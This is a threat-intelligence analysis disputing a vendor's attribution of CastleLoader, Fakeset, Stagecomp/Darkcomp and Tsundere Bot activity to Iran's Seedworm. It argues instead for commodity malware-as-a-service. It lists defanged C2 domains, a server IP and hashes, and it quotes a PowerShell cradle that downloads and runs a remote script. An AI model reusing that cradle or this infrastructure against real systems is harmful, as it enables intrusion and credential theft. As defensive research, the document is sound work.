Refuting the Seedworm Attribution of Commodity MaaS

1. Executive Summary

In March 2026, Symantec/Broadcom published a threat intelligence report attributing a cluster of intrusion activity targeting U.S. banks, airports, software firms, and Canadian non-profits to Seedworm/MuddyWater, an Iranian MOIS cyber espionage unit [1]. Over the following months, this attribution was echoed and expanded by Cisco Talos [2], Check Point [3], Rapid7 [4], CyberProof [5], and JUMPSEC [6] — creating an industry consensus that four malware pillars ("Dindoor", "Fakeset", Stagecomp/Darkcomp, and Tsundere Bot) represented active Iranian state capability.

This document tests the vendor thesis against ground-truth forensic evidence across 10 reconstructed attack chains, and finds zero technical APT indicators in nine of them.

2. The Core Claim Under Test

Symantec found two malware families on the networks of a U.S. bank, airport, software company (Israeli operations), and a Canadian non-profit, and grounded the Seedworm attribution in a single certificate-reuse argument:

"The Donald Gay certificate has been used previously to sign malware linked to Seedworm… The Stagecomp and the Darkcomp malware have been linked to Seedworm by vendors including Google, Microsoft and Kaspersky. While this malware wasn't seen on the targeted networks, the use of the same certificates suggests the same actor — namely Seedworm — was behind the activity." — Symantec [1]

The Core Research Question: Does empirical binary analysis, C2 telemetry, and infrastructure profiling support this state-sponsored attribution, or did vendors launder commercial cybercrime MaaS into Iranian state lore? The following sections test the vendor thesis against ground-truth forensic evidence across 10 reconstructed attack chains.

3. The Foundational Flaw: An Uncitable Appeal to Authority

The entire March 2026 Seedworm attribution hangs on a single foundational assertion: that the "Donald Gay" certificate previously signed Stagecomp and Darkcomp, which Symantec claims "have been linked to Seedworm by vendors including Google, Microsoft and Kaspersky." A rigorous audit of this claim reveals it appears to be unsupported by any independently verifiable source.

Trojan.Stagecomp and Trojan.Darkcomp are Broadcom/Symantec proprietary detection names — no other vendor tracks malware under these names. The Stagecomp/Darkcomp → Seedworm link that Symantec cites as prior art from "Google, Microsoft and Kaspersky" cannot be independently located or verified in any of those vendors' published research.

4. Master Forensic Synthesis — Summary Assessment

Deconstructing the four pillars of vendor attribution reveals that every cited indicator belongs to commercial Malware-as-a-Service (MaaS) and retail cybercrime. What follows is not four isolated technical notes but four independent confirmations of the same underlying pattern: proprietary detection names created the illusion of distinct APT toolsets, when in fact each "family" is a component of commodity crimeware sold to any paying customer.

Pillar 1: "Dindoor" Is Just CastleLoader

Trojan.Dindoor is simply Symantec's proprietary name for the Deno-based staging build of CastleLoader (TAG-150) and its detonation artifacts. CastleLoader is a well-documented commercial MaaS platform independently tracked by Recorded Future, eSentire, and PRODAFT, and sold to dozens of paying cybercrime affiliates and ransomware operators worldwide — meaning Symantec attributed a rental product to a single state actor.

Pillar 2: "Fakeset" — the SEO Malvertising Story

This pillar most clearly exposes the absurdity of the state-sponsorship claim. Trojan.Fakeset is not a bespoke espionage implant — it is a sprawling, retail-grade SEO and malvertising operation, distributing portable Python loaders through public Backblaze B2 buckets registered under whimsical, teenage-coded names: gitempire, elvenforest, oceanhub, and sailormercuryfam.

These buckets hosted trojanized installers for ordinary consumer and professional software — Blender 3D, ProCore, HWMonitor — the kind of tools an engineer or hobbyist would search for and download in seconds. Vendors captured only a tiny slice of this ecosystem, anchored entirely to two commercially-purchased MSaaS code-signing certificates issued to "Amy Cherne" and "Donald Gay." The real campaign is vastly larger, spanning C2 domains including maybedontbanplease[.]com, mazafakaerindahouse[.]info, and mofa****gas[.]info.

Ground-truth URL telemetry for Trojan.Fakeset samples confirms they were downloaded from open Backblaze B2 buckets (gitempire.s3, elvenforest.s3) hosting fake HWMonitor, Notion, Obsidian, Blender, and SketchUp installers. When executed, these portable Python loaders drop pythonw.exe and call home to juvenile edgelord C2 domains — naming conventions of a bored teenager running a malvertising side-hustle, not a signals-intelligence directorate. It is precisely the kind of detail vendors omitted from their public IOC tables, publishing SHA-256 hashes while quietly leaving the domain names out of the report.

The IronPython .NET LOLBin Stager (Fakeset Infrastructure)

A separately observed installer script associated with the sedaliarealty[.]net cluster — part of the same Fakeset SEO malvertising ecosystem — reveals an evolutionary tradecraft leap: rather than deploying portable CPython, the affiliate abuses IronPython running on the .NET Common Language Runtime, downloading the IronPython release directly from the official GitHub repository and using a UTF-32-padded Base64 payload to evade YARA string scrapers — a technique optimized for evading Python-signature detections, not a hallmark of nation-state tradecraft.

The 12-Month C2 Infrastructure Rosetta Stone (Fakeset Infrastructure)

Pivoting on the custom HTTP backend's hardcoded JSON 404 signature ({"code":404,"success":false,"message":"File not found"}) — unique to the Fakeset delivery infrastructure — across URLScan, Censys, and Shodan retrieves an unbroken 12-month historical record of every C2 server operated by this single affiliate, spanning three evolutionary phases from standard /service/download/ staging, to UUID-segmented Python dropper paths (the exact window Symantec captured as "Fakeset"), to the current phase of throwaway edgelord domains. Every domain across all 61 historical records shares the identical JSON error signature and the same bulletproof/reseller ASN hosting profile (Servinga, Eonix, Scalaxy, Latitude.sh) — a signature of one ongoing retail malvertising operation, not intermittent state tasking.

Pillar 3: "Stagecomp" and "Darkcomp" — Amateur Loaders, Not State Tools

Trojan.Stagecomp and Trojan.Darkcomp are simplistic, amateur C++ loader and RAT binaries compiled for a short-lived QuickAssist/Teams initial-access-broker (IAB) campaign. Only two hashes of each malware family have ever been publicly recovered — a vanishingly small sample size on which to anchor an entire nation-state attribution. One sample, ms_upd.exe, was hosted on 172.86.126.208 — the exact same server hosting an amateur Coinbase real-time OTP-intercepting crypto-draining kit (stats-coinbase[.]com, "tryanotherway" kit), placing supposed Iranian state malware on shared infrastructure with retail crypto-theft tooling.

Pillar 4: "Tsundere Bot" — Russian-Language Commodity Loader

Tsundere Bot is a Node.js loader using EtherHiding (blockchain-based C2 resolution), and it contains explicit Russian-language developer error strings — "❌ Ни один RPC провайдер не вернул валидный IP" ("Not a single RPC provider returned a valid IP"). Its only vendor tie-in to the broader case was an exposed Python SimpleHTTP staging server (terymar[.]com) hosting Spf.ps1 and reset.ps1 alongside CastleLoader MSIs and AnyDesk — a configuration matching exactly what commercial Pay-Per-Install (PPI) botnets like Amadey and GCleaner distribute to any paying affiliate.

5. The 10 Chains — Summary Table

From the IOCs shared across all vendor reports, we reconstructed 10 distinct attack chains. Full technical detail for each chain (hashes, VBS/PS1 filenames, byte counts, JWT payloads) is preserved in 7b. Deep Technical Evidence & Historical Precedent
Appendix A for independent verification.

Conclusion: Across 10 reconstructed chains covering 35+ stages and artifacts, the only technical APT indicator is a code-signing certificate purchasable from criminal MSaaS vendors ($5k–$9k via Fox Tempest). Every other attribution claim is vendor label inheritance — Symantec named the tool, and downstream threat intelligence feeds cascaded the attribution without empirical verification.

6. Attribution Ecosystem Timeline

Because vendors discovered TAG-150's modular framework independently across different staging runtimes (Deno, Python, Node.js), they assigned conflicting proprietary names to the same underlying components:

Following Symantec's March 5, 2026 report, multiple vendors echoed and expanded the attribution, creating a circular feedback loop:

• Cisco Talos (March 10, 2026): Added ClixFlare delivery domains and Backblaze B2 buckets to their "Seedworm" IOC list without independent behavioral triage.
• Check Point Research (March 11, 2026): Recognized CastleLoader as commercial MaaS, but argued Iranian MOIS actors were using criminal tools.
• Rapid7 (July 2026): Documented a Chaos ransomware incident involving Stagecomp/Darkcomp signed with the "Donald Gay" certificate, and invented a "state-sponsored false flag masquerade" narrative to explain the contradiction of Iranian espionage deploying Russian ransomware.
• CyberProof (July 2026): Attribution to Seedworm relies entirely on Symantec's umbrella reporting for the "Teams Campaign."

In-the-wild telemetry confirms ms_upd.exe was hosted on the same Cloudzy VPS server (172.86.126.208) that concurrently ran a live-panel Coinbase/Ledger crypto-draining kit. Rapid7's "Iranian state false flag" was simply a financially motivated ecrime affiliate running tech-support scams, crypto drainers, and Chaos ransomware on cheap VPS infrastructure.

6b. Case Studies in Attribution Failure

Beyond the general pattern of vendor label inheritance, three specific documented episodes reveal the exact mechanics by which commodity ecrime artifacts were laundered into "Seedworm" lore.

IDA Disassembly & Moniker Evolution (SmokestEdge120 → VirtualSmokestGuy120)

Unpacked process memory disassembly reveals that "SmokestEdge120" evolved into "VirtualSmokestGuy120" as internal scheduled task monikers. JUMPSEC cited "Amy Cherne -> Smokest JWT -> VirtualSmokestGuy" as their primary attribution chain. However, every link in that chain is a commodity ecrime artifact: "Amy Cherne" is an Azure MSaaS certificate receipt, "Smokest" is an Amadey/TopWebComics affiliate tag, and "VirtualSmokestGuy120" is simply a scheduled task string. Independent researchers, including Simon Kenin (@k3yp0d, "The water is so muddy that you can't see..."), confirmed that treating "Smokest" as an Iranian APT family was a complete analytical misinterpretation [7].

Deconstructing Symantec's May 12, 2026 Report ("Seedworm Electronics")

Symantec's follow-up report on May 12, 2026 ("Seedworm Electronics Campaign", Reference [15]) contains three fundamental analytical errors:

• Timeline pre-dating & tooling confusion: Symantec observed a Feb 20, 2026 intrusion driven by node.exe — pre-dating their own March 5 blog — and declared Node.js/Deno to be "tactical shifts by Seedworm." In reality, Symantec confused CastleLoader (DenoRAT) with Tsundere Bot (portable node.exe) — two separate commercial MaaS tools rented by unrelated commodity affiliates.
• Copypasta error on lpu.dll and sp.ps1: Symantec's text asserted that lpu.dll was executed via powershell iex ... DownloadString('https://timetrakr[.]cloud/sp.ps1'), conflating two unrelated artifacts: sp.ps1 (a PowerShell screenshot script) and lpu.dll (a PE DLL actually executed via rundll32 lpu.dll, main).
• In-article self-contradiction: In their introduction, Symantec accurately noted that d5879598... (lpu.dll) calls CredUIPromptForWindowsCredentialsW to write credentials to C:\ProgramData\lopa.txt. Five paragraphs later, the same report claimed Group-IB's research "did not pin down what the binary does" — directly contradicting their own opening analysis.

The "Operation Olalampo" Open Directory Contamination (Group-IB, February 2026)

Group-IB's February 2026 report ("Operation Olalampo", Reference [13]) encapsulates how open-directory scraping created a circular attribution loop. Group-IB discovered a Python SimpleHTTP/0.6 open directory containing a mix of active QuickAssist scam tools (lpu.exe, lpu.dll, reset.ps1), commercial remote-monitoring tools (AnyDesk, resocks), and legacy artifacts (FMAPP.dll, chrome_inject.exe).

The subsequent vendor lineage shows a clean chain of escalating certainty with no additional evidence added at each step:

• Group-IB: Published the SHA-1 IOC list without asserting definitive Iranian APT attribution.
• Ctrl-Alt & Hunt.io: Inspected the same open directory files and treated them as commodity cybercrime tooling.
• JUMPSEC: Inspected the same open directory and jumped to the conclusion that it must be MuddyWater.
• Symantec: Seized upon JUMPSEC's claim and Group-IB's SHA-1 list as "evidence" of Seedworm, escalating ecrime open-directory findings into an unsupported state-sponsored APT designation.

7. Real vs. Fabricated MuddyWater

Independent research from Ctrl-Alt-Intel (March 4, 2026) [7] and Group-IB (February 2026) [13] documents what genuine MuddyWater state espionage operations actually look like, in stark contrast to the commodity crimeware attributed here.

7b. Deep Technical Evidence & Historical Precedent

Beyond the chain reconstructions and case studies, several additional pieces of evidence independently corroborate the commodity-MaaS thesis and directly preempt the strongest counter-argument: that Iranian state actors could simply be using commodity tools rather than developing them.

Kaspersky's Independent Heuristic Contradicts the Western Vendor Consensus

An unanalyzed VirusTotal Intelligence sample of the DenoRAT C2 JavaScript module (a2183b4d..., 715.80 KB) carries only a 6/61 detection score. Four Western AV vendors (Avast, AVG, Avira, WithSecure) blindly flag it as JS:Muddywater-A via signature inheritance from Symantec's attribution post. Kaspersky, however, detects its actual functional nature: HEUR:Trojan-PSW.Script.Disco.gen — a password-stealing-ware and Discord/credential-stealer classification, with no APT designation whatsoever.

Deobfuscating this sample (46,486 AST transformations, 12,033 decoded strings) empirically validates Kaspersky's heuristic and reveals the RAT's true architecture: native Windows DPAPI decryption via Deno's FFI (CryptUnprotectData against Chromium login/cookie databases), a credential and crypto harvesting engine targeting 58 browser extension IDs, Discord tokens, Telegram sessions, and 19 desktop/browser crypto wallet families, plus a bidirectional WebSocket C2 for interactive PowerShell execution.

Resolving the "Amadey Paradox"

vx-underground's January 2026 analysis expressed confusion at finding an Amadey botnet panel on the same server hosting a sophisticated polymorphic JS payload, noting it would be "unusual... for an obfuscated polymorphic multi-staged Javascript payload to deliver Amadey." Empirical reconstruction resolves the paradox by reversing the assumed direction: Amadey Bot was the parent PPI stage (dropped via Nullmixer/GCleaner), and Amadey's C2 tasked infected hosts to download the CastleLoader MSI and CastleRAT payloads as secondary tooling — not the other way around. The JWT embedded in the MSI (userNote: "topwebcomics") directly matches the web-comic lure vx-underground identified.

Historical Proof: eSentire's September 2025 Report Pre-Dates the Attribution by Six Months

eSentire's foundational report, "New Botnet Emerges from the Shadows: NightshadeC2" (published six months before Symantec's Iranian attribution), documented an earlier .NET/PowerShell CastleLoader build distributing NightshadeC2 and Lumma Stealer via commodity ClickFix landing pages and trojanized SEO software (CCleaner, Advanced IP Scanner, Express VPN). The report documented a Steam Community dead-drop C2 resolver, a SilentCleanup LOLBin UAC bypass, hidden HVNC browser sessions, and classic ClickFix PowerShell cradles — with zero Iranian APT attribution, proving CastleLoader was a thriving commodity affiliate loader long before Symantec rebranded it as "Dindoor."

A separately documented interactive AnyRun sandbox session from researcher JAMESWT (August 22, 2025) captured the operator taking manual control upon realizing they were in a sandbox, typing the taunt "are you dump?!" in Notepad and rage-deleting desktop icons before disconnecting. State-sponsored intelligence operatives conducting espionage do not behave this way — it is the unmistakable signature of a commodity cybercrime affiliate.

Confidence Assessment

• High that the Seedworm attribution is incorrect as stated — every IOC has been independently identified as commodity malware by other vendors, and the sole technical link (code-signing certificates) is a documented commodity service.
• High that zhivachkapro[.]com is ClixFlare commodity IAB infrastructure.
• Moderate that Seedworm may have used ClixFlare-delivered access as an entry point at specific targets, but the malware itself (CastleRAT, Tsundere Bot, Stagecomp/Darkcomp) remains commodity MaaS available to any buyer.